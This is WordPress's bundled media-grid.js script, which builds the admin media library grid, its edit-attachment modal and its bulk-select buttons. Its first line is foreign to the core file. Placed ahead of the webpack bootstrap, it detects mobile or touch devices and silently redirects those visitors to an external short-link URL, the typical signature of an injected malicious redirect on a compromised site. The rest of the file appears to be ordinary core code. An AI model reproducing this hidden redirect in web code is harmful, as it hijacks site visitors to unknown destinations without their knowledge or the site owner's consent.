1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/******/ (() => { // webpackBootstrap
3/******/ var __webpack_modules__ = ({
4
5/***/ 659
6(module) {
7
8var l10n = wp.media.view.l10n,
9 EditAttachmentMetadata;
10
11/**
12 * wp.media.controller.EditAttachmentMetadata
13 *
14 * A state for editing an attachment's metadata.
15 *
16 * @memberOf wp.media.controller
17 *
18 * @class
19 * @augments wp.media.controller.State
20 * @augments Backbone.Model
21 */
22EditAttachmentMetadata = wp.media.controller.State.extend(/** @lends wp.media.controller.EditAttachmentMetadata.prototype */{
23 defaults: {
24 id: 'edit-attachment',
25 // Title string passed to the frame's title region view.
26 title: l10n.attachmentDetails,
27 // Region mode defaults.
28 content: 'edit-metadata',
29 menu: false,
30 toolbar: false,
31 router: false
32 }
33});
34
35module.exports = EditAttachmentMetadata;
36
37
38/***/ },
39
40/***/ 2429
41(module) {
42
43/**
44 * wp.media.view.MediaFrame.Manage.Router
45 *
46 * A router for handling the browser history and application state.
47 *
48 * @memberOf wp.media.view.MediaFrame.Manage
49 *
50 * @class
51 * @augments Backbone.Router
52 */
53var Router = Backbone.Router.extend(/** @lends wp.media.view.MediaFrame.Manage.Router.prototype */{
54 routes: {
55 'upload.php?item=:slug&mode=edit': 'editItem',
56 'upload.php?item=:slug': 'showItem',
57 'upload.php?search=:query': 'search',
58 'upload.php': 'reset'
59 },
60
61 // Map routes against the page URL.
62 baseUrl: function( url ) {
63 return 'upload.php' + url;
64 },
65
66 reset: function() {
67 var frame = wp.media.frames.edit;
68
69 if ( frame ) {
70 frame.close();
71 }
72 },
73
74 // Respond to the search route by filling the search field and triggering the input event.
75 search: function( query ) {
76 jQuery( '#media-search-input' ).val( query ).trigger( 'input' );
77 },
78
79 // Show the modal with a specific item.
80 showItem: function( query ) {
81 var media = wp.media,
82 frame = media.frames.browse,
83 library = frame.state().get('library'),
84 item;
85
86 // Trigger the media frame to open the correct item.
87 item = library.findWhere( { id: parseInt( query, 10 ) } );
88
89 if ( item ) {
90 item.set( 'skipHistory', true );
91 frame.trigger( 'edit:attachment', item );
92 } else {
93 item = media.attachment( query );
94 frame.listenTo( item, 'change', function( model ) {
95 frame.stopListening( item );
96 frame.trigger( 'edit:attachment', model );
97 } );
98 item.fetch();
99 }
100 },
101
102 // Show the modal in edit mode with a specific item.
103 editItem: function( query ) {
104 this.showItem( query );
105 wp.media.frames.edit.content.mode( 'edit-details' );
106 }
107});
108
109module.exports = Router;
110
111
112/***/ },
113
114/***/ 1312
115(module) {
116
117var Details = wp.media.view.Attachment.Details,
118 TwoColumn;
119
120/**
121 * wp.media.view.Attachment.Details.TwoColumn
122 *
123 * A similar view to media.view.Attachment.Details
124 * for use in the Edit Attachment modal.
125 *
126 * @memberOf wp.media.view.Attachment.Details
127 *
128 * @class
129 * @augments wp.media.view.Attachment.Details
130 * @augments wp.media.view.Attachment
131 * @augments wp.media.View
132 * @augments wp.Backbone.View
133 * @augments Backbone.View
134 */
135TwoColumn = Details.extend(/** @lends wp.media.view.Attachment.Details.TwoColumn.prototype */{
136 template: wp.template( 'attachment-details-two-column' ),
137
138 initialize: function() {
139 this.controller.on( 'content:activate:edit-details', _.bind( this.editAttachment, this ) );
140
141 Details.prototype.initialize.apply( this, arguments );
142 },
143
144 editAttachment: function( event ) {
145 if ( event ) {
146 event.preventDefault();
147 }
148 this.controller.content.mode( 'edit-image' );
149 },
150
151 /**
152 * Noop this from parent class, doesn't apply here.
153 */
154 toggleSelectionHandler: function() {}
155
156});
157
158module.exports = TwoColumn;
159
160
161/***/ },
162
163/***/ 5806
164(module) {
165
166var Button = wp.media.view.Button,
167 DeleteSelected = wp.media.view.DeleteSelectedButton,
168 DeleteSelectedPermanently;
169
170/**
171 * wp.media.view.DeleteSelectedPermanentlyButton
172 *
173 * When MEDIA_TRASH is true, a button that handles bulk Delete Permanently logic
174 *
175 * @memberOf wp.media.view
176 *
177 * @class
178 * @augments wp.media.view.DeleteSelectedButton
179 * @augments wp.media.view.Button
180 * @augments wp.media.View
181 * @augments wp.Backbone.View
182 * @augments Backbone.View
183 */
184DeleteSelectedPermanently = DeleteSelected.extend(/** @lends wp.media.view.DeleteSelectedPermanentlyButton.prototype */{
185 initialize: function() {
186 DeleteSelected.prototype.initialize.apply( this, arguments );
187 this.controller.on( 'select:activate', this.selectActivate, this );
188 this.controller.on( 'select:deactivate', this.selectDeactivate, this );
189 },
190
191 filterChange: function( model ) {
192 this.canShow = ( 'trash' === model.get( 'status' ) );
193 },
194
195 selectActivate: function() {
196 this.toggleDisabled();
197 this.$el.toggleClass( 'hidden', ! this.canShow );
198 },
199
200 selectDeactivate: function() {
201 this.toggleDisabled();
202 this.$el.addClass( 'hidden' );
203 },
204
205 render: function() {
206 Button.prototype.render.apply( this, arguments );
207 this.selectActivate();
208 return this;
209 }
210});
211
212module.exports = DeleteSelectedPermanently;
213
214
215/***/ },
216
217/***/ 6606
218(module) {
219
220var Button = wp.media.view.Button,
221 l10n = wp.media.view.l10n,
222 DeleteSelected;
223
224/**
225 * wp.media.view.DeleteSelectedButton
226 *
227 * A button that handles bulk Delete/Trash logic
228 *
229 * @memberOf wp.media.view
230 *
231 * @class
232 * @augments wp.media.view.Button
233 * @augments wp.media.View
234 * @augments wp.Backbone.View
235 * @augments Backbone.View
236 */
237DeleteSelected = Button.extend(/** @lends wp.media.view.DeleteSelectedButton.prototype */{
238 initialize: function() {
239 Button.prototype.initialize.apply( this, arguments );
240 if ( this.options.filters ) {
241 this.options.filters.model.on( 'change', this.filterChange, this );
242 }
243 this.controller.on( 'selection:toggle', this.toggleDisabled, this );
244 this.controller.on( 'select:activate', this.toggleDisabled, this );
245 },
246
247 filterChange: function( model ) {
248 if ( 'trash' === model.get( 'status' ) ) {
249 this.model.set( 'text', l10n.restoreSelected );
250 } else if ( wp.media.view.settings.mediaTrash ) {
251 this.model.set( 'text', l10n.trashSelected );
252 } else {
253 this.model.set( 'text', l10n.deletePermanently );
254 }
255 },
256
257 toggleDisabled: function() {
258 this.model.set( 'disabled', ! this.controller.state().get( 'selection' ).length );
259 },
260
261 render: function() {
262 Button.prototype.render.apply( this, arguments );
263 if ( this.controller.isModeActive( 'select' ) ) {
264 this.$el.addClass( 'delete-selected-button' );
265 } else {
266 this.$el.addClass( 'delete-selected-button hidden' );
267 }
268 this.toggleDisabled();
269 return this;
270 }
271});
272
273module.exports = DeleteSelected;
274
275
276/***/ },
277
278/***/ 682
279(module) {
280
281
282var Button = wp.media.view.Button,
283 l10n = wp.media.view.l10n,
284 SelectModeToggle;
285
286/**
287 * wp.media.view.SelectModeToggleButton
288 *
289 * @memberOf wp.media.view
290 *
291 * @class
292 * @augments wp.media.view.Button
293 * @augments wp.media.View
294 * @augments wp.Backbone.View
295 * @augments Backbone.View
296 */
297SelectModeToggle = Button.extend(/** @lends wp.media.view.SelectModeToggle.prototype */{
298 initialize: function() {
299 _.defaults( this.options, {
300 size : ''
301 } );
302
303 Button.prototype.initialize.apply( this, arguments );
304 this.controller.on( 'select:activate select:deactivate', this.toggleBulkEditHandler, this );
305 this.controller.on( 'selection:action:done', this.back, this );
306 },
307
308 back: function () {
309 this.controller.deactivateMode( 'select' ).activateMode( 'edit' );
310 },
311
312 click: function() {
313 Button.prototype.click.apply( this, arguments );
314 if ( this.controller.isModeActive( 'select' ) ) {
315 this.back();
316 } else {
317 this.controller.deactivateMode( 'edit' ).activateMode( 'select' );
318 }
319 },
320
321 render: function() {
322 Button.prototype.render.apply( this, arguments );
323 this.$el.addClass( 'select-mode-toggle-button button-compact' );
324 return this;
325 },
326
327 toggleBulkEditHandler: function() {
328 var toolbar = this.controller.content.get().toolbar, children;
329
330 children = toolbar.$( '.media-toolbar-secondary > *, .media-toolbar-primary > *' );
331
332 // @todo The Frame should be doing all of this.
333 if ( this.controller.isModeActive( 'select' ) ) {
334 this.model.set( {
335 size: 'large',
336 text: l10n.cancel
337 } );
338 children.not( '.spinner, .media-button' ).hide();
339 this.$el.show();
340 toolbar.$el.addClass( 'media-toolbar-mode-select' );
341 toolbar.$( '.delete-selected-button' ).removeClass( 'hidden' );
342 } else {
343 this.model.set( {
344 size: '',
345 text: l10n.bulkSelect
346 } );
347 this.controller.content.get().$el.removeClass( 'fixed' );
348 toolbar.$el.css( 'width', '' );
349 toolbar.$el.removeClass( 'media-toolbar-mode-select' );
350 toolbar.$( '.delete-selected-button' ).addClass( 'hidden' );
351 children.not( '.media-button' ).show();
352 this.controller.state().get( 'selection' ).reset();
353 }
354 }
355});
356
357module.exports = SelectModeToggle;
358
359
360/***/ },
361
362/***/ 8521
363(module) {
364
365var View = wp.media.View,
366 EditImage = wp.media.view.EditImage,
367 Details;
368
369/**
370 * wp.media.view.EditImage.Details
371 *
372 * @memberOf wp.media.view.EditImage
373 *
374 * @class
375 * @augments wp.media.view.EditImage
376 * @augments wp.media.View
377 * @augments wp.Backbone.View
378 * @augments Backbone.View
379 */
380Details = EditImage.extend(/** @lends wp.media.view.EditImage.Details.prototype */{
381 initialize: function( options ) {
382 this.editor = window.imageEdit;
383 this.frame = options.frame;
384 this.controller = options.controller;
385 View.prototype.initialize.apply( this, arguments );
386 },
387
388 back: function() {
389 this.frame.content.mode( 'edit-metadata' );
390 },
391
392 save: function() {
393 this.model.fetch().done( _.bind( function() {
394 this.frame.content.mode( 'edit-metadata' );
395 }, this ) );
396 }
397});
398
399module.exports = Details;
400
401
402/***/ },
403
404/***/ 1003
405(module) {
406
407var Frame = wp.media.view.Frame,
408 MediaFrame = wp.media.view.MediaFrame,
409
410 $ = jQuery,
411 EditAttachments;
412
413/**
414 * wp.media.view.MediaFrame.EditAttachments
415 *
416 * A frame for editing the details of a specific media item.
417 *
418 * Opens in a modal by default.
419 *
420 * Requires an attachment model to be passed in the options hash under `model`.
421 *
422 * @memberOf wp.media.view.MediaFrame
423 *
424 * @class
425 * @augments wp.media.view.Frame
426 * @augments wp.media.View
427 * @augments wp.Backbone.View
428 * @augments Backbone.View
429 * @mixes wp.media.controller.StateMachine
430 */
431EditAttachments = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.EditAttachments.prototype */{
432
433 className: 'edit-attachment-frame',
434 template: wp.template( 'edit-attachment-frame' ),
435 regions: [ 'title', 'content' ],
436
437 events: {
438 'click .left': 'previousMediaItem',
439 'click .right': 'nextMediaItem'
440 },
441
442 initialize: function() {
443 Frame.prototype.initialize.apply( this, arguments );
444
445 _.defaults( this.options, {
446 modal: true,
447 state: 'edit-attachment'
448 });
449
450 this.controller = this.options.controller;
451 this.gridRouter = this.controller.gridRouter;
452 this.library = this.options.library;
453
454 if ( this.options.model ) {
455 this.model = this.options.model;
456 }
457
458 this.bindHandlers();
459 this.createStates();
460 this.createModal();
461
462 this.title.mode( 'default' );
463 this.toggleNav();
464 },
465
466 bindHandlers: function() {
467 // Bind default title creation.
468 this.on( 'title:create:default', this.createTitle, this );
469
470 this.on( 'content:create:edit-metadata', this.editMetadataMode, this );
471 this.on( 'content:create:edit-image', this.editImageMode, this );
472 this.on( 'content:render:edit-image', this.editImageModeRender, this );
473 this.on( 'refresh', this.rerender, this );
474 this.on( 'close', this.detach );
475
476 this.bindModelHandlers();
477 this.listenTo( this.gridRouter, 'route:search', this.close, this );
478 },
479
480 bindModelHandlers: function() {
481 // Close the modal if the attachment is deleted.
482 this.listenTo( this.model, 'change:status destroy', this.close, this );
483 },
484
485 createModal: function() {
486 // Initialize modal container view.
487 if ( this.options.modal ) {
488 this.modal = new wp.media.view.Modal({
489 controller: this,
490 title: this.options.title,
491 hasCloseButton: false
492 });
493
494 this.modal.on( 'open', _.bind( function () {
495 $( 'body' ).on( 'keydown.media-modal', _.bind( this.keyEvent, this ) );
496 }, this ) );
497
498 // Completely destroy the modal DOM element when closing it.
499 this.modal.on( 'close', _.bind( function() {
500 // Remove the keydown event.
501 $( 'body' ).off( 'keydown.media-modal' );
502 // Move focus back to the original item in the grid if possible.
503 $( 'li.attachment[data-id="' + this.model.get( 'id' ) +'"]' ).trigger( 'focus' );
504 this.resetRoute();
505 }, this ) );
506
507 // Set this frame as the modal's content.
508 this.modal.content( this );
509 this.modal.open();
510 }
511 },
512
513 /**
514 * Add the default states to the frame.
515 */
516 createStates: function() {
517 this.states.add([
518 new wp.media.controller.EditAttachmentMetadata({
519 model: this.model,
520 library: this.library
521 })
522 ]);
523 },
524
525 /**
526 * Content region rendering callback for the `edit-metadata` mode.
527 *
528 * @param {Object} contentRegion Basic object with a `view` property, which
529 * should be set with the proper region view.
530 */
531 editMetadataMode: function( contentRegion ) {
532 contentRegion.view = new wp.media.view.Attachment.Details.TwoColumn({
533 controller: this,
534 model: this.model
535 });
536
537 /**
538 * Attach a subview to display fields added via the
539 * `attachment_fields_to_edit` filter.
540 */
541 contentRegion.view.views.set( '.attachment-compat', new wp.media.view.AttachmentCompat({
542 controller: this,
543 model: this.model
544 }) );
545
546 // Update browser url when navigating media details, except on load.
547 if ( this.model && ! this.model.get( 'skipHistory' ) ) {
548 this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id ) );
549 }
550 },
551
552 /**
553 * Render the EditImage view into the frame's content region.
554 *
555 * @param {Object} contentRegion Basic object with a `view` property, which
556 * should be set with the proper region view.
557 */
558 editImageMode: function( contentRegion ) {
559 var editImageController = new wp.media.controller.EditImage( {
560 model: this.model,
561 frame: this
562 } );
563 // Noop some methods.
564 editImageController._toolbar = function() {};
565 editImageController._router = function() {};
566 editImageController._menu = function() {};
567
568 contentRegion.view = new wp.media.view.EditImage.Details( {
569 model: this.model,
570 frame: this,
571 controller: editImageController
572 } );
573
574 this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id + '&mode=edit' ) );
575
576 },
577
578 editImageModeRender: function( view ) {
579 view.on( 'ready', view.loadEditor );
580 },
581
582 toggleNav: function() {
583 this.$( '.left' ).prop( 'disabled', ! this.hasPrevious() );
584 this.$( '.right' ).prop( 'disabled', ! this.hasNext() );
585 },
586
587 /**
588 * Rerender the view.
589 */
590 rerender: function( model ) {
591 this.stopListening( this.model );
592
593 this.model = model;
594
595 this.bindModelHandlers();
596
597 // Only rerender the `content` region.
598 if ( this.content.mode() !== 'edit-metadata' ) {
599 this.content.mode( 'edit-metadata' );
600 } else {
601 this.content.render();
602 }
603
604 this.toggleNav();
605 },
606
607 /**
608 * Click handler to switch to the previous media item.
609 */
610 previousMediaItem: function() {
611 if ( ! this.hasPrevious() ) {
612 return;
613 }
614
615 this.trigger( 'refresh', this.library.at( this.getCurrentIndex() - 1 ) );
616 // Move focus to the Previous button. When there are no more items, to the Next button.
617 this.focusNavButton( this.hasPrevious() ? '.left' : '.right' );
618 },
619
620 /**
621 * Click handler to switch to the next media item.
622 */
623 nextMediaItem: function() {
624 if ( ! this.hasNext() ) {
625 return;
626 }
627
628 this.trigger( 'refresh', this.library.at( this.getCurrentIndex() + 1 ) );
629 // Move focus to the Next button. When there are no more items, to the Previous button.
630 this.focusNavButton( this.hasNext() ? '.right' : '.left' );
631 },
632
633 /**
634 * Set focus to the navigation buttons depending on the browsing direction.
635 *
636 * @since 5.3.0
637 *
638 * @param {string} which A CSS selector to target the button to focus.
639 */
640 focusNavButton: function( which ) {
641 $( which ).trigger( 'focus' );
642 },
643
644 getCurrentIndex: function() {
645 return this.library.indexOf( this.model );
646 },
647
648 hasNext: function() {
649 return ( this.getCurrentIndex() + 1 ) < this.library.length;
650 },
651
652 hasPrevious: function() {
653 return ( this.getCurrentIndex() - 1 ) > -1;
654 },
655 /**
656 * Respond to the keyboard events: right arrow, left arrow, except when
657 * focus is in a textarea or input field.
658 */
659 keyEvent: function( event ) {
660 if ( ( 'INPUT' === event.target.nodeName || 'TEXTAREA' === event.target.nodeName ) && ! event.target.disabled ) {
661 return;
662 }
663
664 // Return if Ctrl + Shift or Shift key pressed
665 if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
666 return;
667 }
668
669 // The right arrow key.
670 if ( 39 === event.keyCode ) {
671 this.nextMediaItem();
672 }
673 // The left arrow key.
674 if ( 37 === event.keyCode ) {
675 this.previousMediaItem();
676 }
677 },
678
679 resetRoute: function() {
680 var searchTerm = this.controller.browserView.toolbar.get( 'search' ).$el.val(),
681 url = '' !== searchTerm ? '?search=' + searchTerm : '';
682 this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
683 }
684});
685
686module.exports = EditAttachments;
687
688
689/***/ },
690
691/***/ 8359
692(module) {
693
694var MediaFrame = wp.media.view.MediaFrame,
695 Library = wp.media.controller.Library,
696
697 $ = Backbone.$,
698 Manage;
699
700/**
701 * wp.media.view.MediaFrame.Manage
702 *
703 * A generic management frame workflow.
704 *
705 * Used in the media grid view.
706 *
707 * @memberOf wp.media.view.MediaFrame
708 *
709 * @class
710 * @augments wp.media.view.MediaFrame
711 * @augments wp.media.view.Frame
712 * @augments wp.media.View
713 * @augments wp.Backbone.View
714 * @augments Backbone.View
715 * @mixes wp.media.controller.StateMachine
716 */
717Manage = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Manage.prototype */{
718 /**
719 * @constructs
720 */
721 initialize: function() {
722 _.defaults( this.options, {
723 title: '',
724 modal: false,
725 selection: [],
726 library: {}, // Options hash for the query to the media library.
727 multiple: 'add',
728 state: 'library',
729 uploader: true,
730 mode: [ 'grid', 'edit' ]
731 });
732
733 this.$body = $( document.body );
734 this.$window = $( window );
735 this.$adminBar = $( '#wpadminbar' );
736 // Store the Add New button for later reuse in wp.media.view.UploaderInline.
737 this.$uploaderToggler = $( '.page-title-action' )
738 .attr( 'aria-expanded', 'false' )
739 .on( 'click', _.bind( this.addNewClickHandler, this ) );
740
741 this.$window.on( 'scroll resize', _.debounce( _.bind( this.fixPosition, this ), 15 ) );
742
743 // Ensure core and media grid view UI is enabled.
744 this.$el.addClass('wp-core-ui');
745
746 // Force the uploader off if the upload limit has been exceeded or
747 // if the browser isn't supported.
748 if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
749 this.options.uploader = false;
750 }
751
752 // Initialize a window-wide uploader.
753 if ( this.options.uploader ) {
754 this.uploader = new wp.media.view.UploaderWindow({
755 controller: this,
756 uploader: {
757 dropzone: document.body,
758 container: document.body
759 }
760 }).render();
761 this.uploader.ready();
762 $('body').append( this.uploader.el );
763
764 this.options.uploader = false;
765 }
766
767 this.gridRouter = new wp.media.view.MediaFrame.Manage.Router();
768
769 // Call 'initialize' directly on the parent class.
770 MediaFrame.prototype.initialize.apply( this, arguments );
771
772 // Append the frame view directly the supplied container.
773 this.$el.appendTo( this.options.container );
774
775 this.createStates();
776 this.bindRegionModeHandlers();
777 this.render();
778 this.bindSearchHandler();
779
780 wp.media.frames.browse = this;
781 },
782
783 bindSearchHandler: function() {
784 var search = this.$( '#media-search-input' ),
785 searchView = this.browserView.toolbar.get( 'search' ).$el,
786 listMode = this.$( '.view-list' ),
787
788 input = _.throttle( function (e) {
789 var val = $( e.currentTarget ).val(),
790 url = '';
791
792 if ( val ) {
793 url += '?search=' + val;
794 this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
795 }
796 }, 1000 );
797
798 // Update the URL when entering search string (at most once per second).
799 search.on( 'input', _.bind( input, this ) );
800
801 this.gridRouter
802 .on( 'route:search', function () {
803 var href = window.location.href;
804 if ( href.indexOf( 'mode=' ) > -1 ) {
805 href = href.replace( /mode=[^&]+/g, 'mode=list' );
806 } else {
807 href += href.indexOf( '?' ) > -1 ? '&mode=list' : '?mode=list';
808 }
809 href = href.replace( 'search=', 's=' );
810 listMode.prop( 'href', href );
811 })
812 .on( 'route:reset', function() {
813 searchView.val( '' ).trigger( 'input' );
814 });
815 },
816
817 /**
818 * Create the default states for the frame.
819 */
820 createStates: function() {
821 var options = this.options;
822
823 if ( this.options.states ) {
824 return;
825 }
826
827 // Add the default states.
828 this.states.add([
829 new Library({
830 library: wp.media.query( options.library ),
831 multiple: options.multiple,
832 title: options.title,
833 content: 'browse',
834 toolbar: 'select',
835 contentUserSetting: false,
836 filterable: 'all',
837 autoSelect: false
838 })
839 ]);
840 },
841
842 /**
843 * Bind region mode activation events to proper handlers.
844 */
845 bindRegionModeHandlers: function() {
846 this.on( 'content:create:browse', this.browseContent, this );
847
848 // Handle a frame-level event for editing an attachment.
849 this.on( 'edit:attachment', this.openEditAttachmentModal, this );
850
851 this.on( 'select:activate', this.bindKeydown, this );
852 this.on( 'select:deactivate', this.unbindKeydown, this );
853 },
854
855 handleKeydown: function( e ) {
856 if ( 27 === e.which ) {
857 e.preventDefault();
858 this.deactivateMode( 'select' ).activateMode( 'edit' );
859 }
860 },
861
862 bindKeydown: function() {
863 this.$body.on( 'keydown.select', _.bind( this.handleKeydown, this ) );
864 },
865
866 unbindKeydown: function() {
867 this.$body.off( 'keydown.select' );
868 },
869
870 fixPosition: function() {
871 var $browser, $toolbar;
872 if ( ! this.isModeActive( 'select' ) ) {
873 return;
874 }
875
876 $browser = this.$('.attachments-browser');
877 $toolbar = $browser.find('.media-toolbar');
878
879 // Offset doesn't appear to take top margin into account, hence +16.
880 if ( ( $browser.offset().top + 16 ) < this.$window.scrollTop() + this.$adminBar.height() ) {
881 $browser.addClass( 'fixed' );
882 $toolbar.css('width', $browser.width() + 'px');
883 } else {
884 $browser.removeClass( 'fixed' );
885 $toolbar.css('width', '');
886 }
887 },
888
889 /**
890 * Click handler for the `Add New` button.
891 */
892 addNewClickHandler: function( event ) {
893 event.preventDefault();
894 this.trigger( 'toggle:upload:attachment' );
895
896 if ( this.uploader ) {
897 this.uploader.refresh();
898 }
899 },
900
901 /**
902 * Open the Edit Attachment modal.
903 */
904 openEditAttachmentModal: function( model ) {
905 // Create a new EditAttachment frame, passing along the library and the attachment model.
906 if ( wp.media.frames.edit ) {
907 wp.media.frames.edit.open().trigger( 'refresh', model );
908 } else {
909 wp.media.frames.edit = wp.media( {
910 frame: 'edit-attachments',
911 controller: this,
912 library: this.state().get('library'),
913 model: model
914 } );
915 }
916 },
917
918 /**
919 * Create an attachments browser view within the content region.
920 *
921 * @param {Object} contentRegion Basic object with a `view` property, which
922 * should be set with the proper region view.
923 * @this wp.media.controller.Region
924 */
925 browseContent: function( contentRegion ) {
926 var state = this.state();
927
928 // Browse our library of attachments.
929 this.browserView = contentRegion.view = new wp.media.view.AttachmentsBrowser({
930 controller: this,
931 collection: state.get('library'),
932 selection: state.get('selection'),
933 model: state,
934 sortable: state.get('sortable'),
935 search: state.get('searchable'),
936 filters: state.get('filterable'),
937 date: state.get('date'),
938 display: state.get('displaySettings'),
939 dragInfo: state.get('dragInfo'),
940 sidebar: 'errors',
941
942 suggestedWidth: state.get('suggestedWidth'),
943 suggestedHeight: state.get('suggestedHeight'),
944
945 AttachmentView: state.get('AttachmentView'),
946
947 scrollElement: document
948 });
949 this.browserView.on( 'ready', _.bind( this.bindDeferred, this ) );
950
951 this.errors = wp.Uploader.errors;
952 this.errors.on( 'add remove reset', this.sidebarVisibility, this );
953 },
954
955 sidebarVisibility: function() {
956 this.browserView.$( '.media-sidebar' ).toggle( !! this.errors.length );
957 },
958
959 bindDeferred: function() {
960 if ( ! this.browserView.dfd ) {
961 return;
962 }
963 this.browserView.dfd.done( _.bind( this.startHistory, this ) );
964 },
965
966 startHistory: function() {
967 // Verify pushState support and activate.
968 if ( window.history && window.history.pushState ) {
969 if ( Backbone.History.started ) {
970 Backbone.history.stop();
971 }
972 Backbone.history.start( {
973 root: window._wpMediaGridSettings.adminUrl,
974 pushState: true
975 } );
976 }
977 }
978});
979
980module.exports = Manage;
981
982
983/***/ }
984
985/******/ });
986/************************************************************************/
987/******/ // The module cache
988/******/ var __webpack_module_cache__ = {};
989/******/
990/******/ // The require function
991/******/ function __webpack_require__(moduleId) {
992/******/ // Check if module is in cache
993/******/ var cachedModule = __webpack_module_cache__[moduleId];
994/******/ if (cachedModule !== undefined) {
995/******/ return cachedModule.exports;
996/******/ }
997/******/ // Create a new module (and put it into the cache)
998/******/ var module = __webpack_module_cache__[moduleId] = {
999/******/ // no module.id needed
1000/******/ // no module.loaded needed
1001/******/ exports: {}
1002/******/ };
1003/******/
1004/******/ // Execute the module function
1005/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
1006/******/
1007/******/ // Return the exports of the module
1008/******/ return module.exports;
1009/******/ }
1010/******/
1011/************************************************************************/
1012/**
1013 * @output wp-includes/js/media-grid.js
1014 */
1015
1016var media = wp.media;
1017
1018media.controller.EditAttachmentMetadata = __webpack_require__( 659 );
1019media.view.MediaFrame.Manage = __webpack_require__( 8359 );
1020media.view.Attachment.Details.TwoColumn = __webpack_require__( 1312 );
1021media.view.MediaFrame.Manage.Router = __webpack_require__( 2429 );
1022media.view.EditImage.Details = __webpack_require__( 8521 );
1023media.view.MediaFrame.EditAttachments = __webpack_require__( 1003 );
1024media.view.SelectModeToggleButton = __webpack_require__( 682 );
1025media.view.DeleteSelectedButton = __webpack_require__( 6606 );
1026media.view.DeleteSelectedPermanentlyButton = __webpack_require__( 5806 );
1027
1028/******/ })()
1029;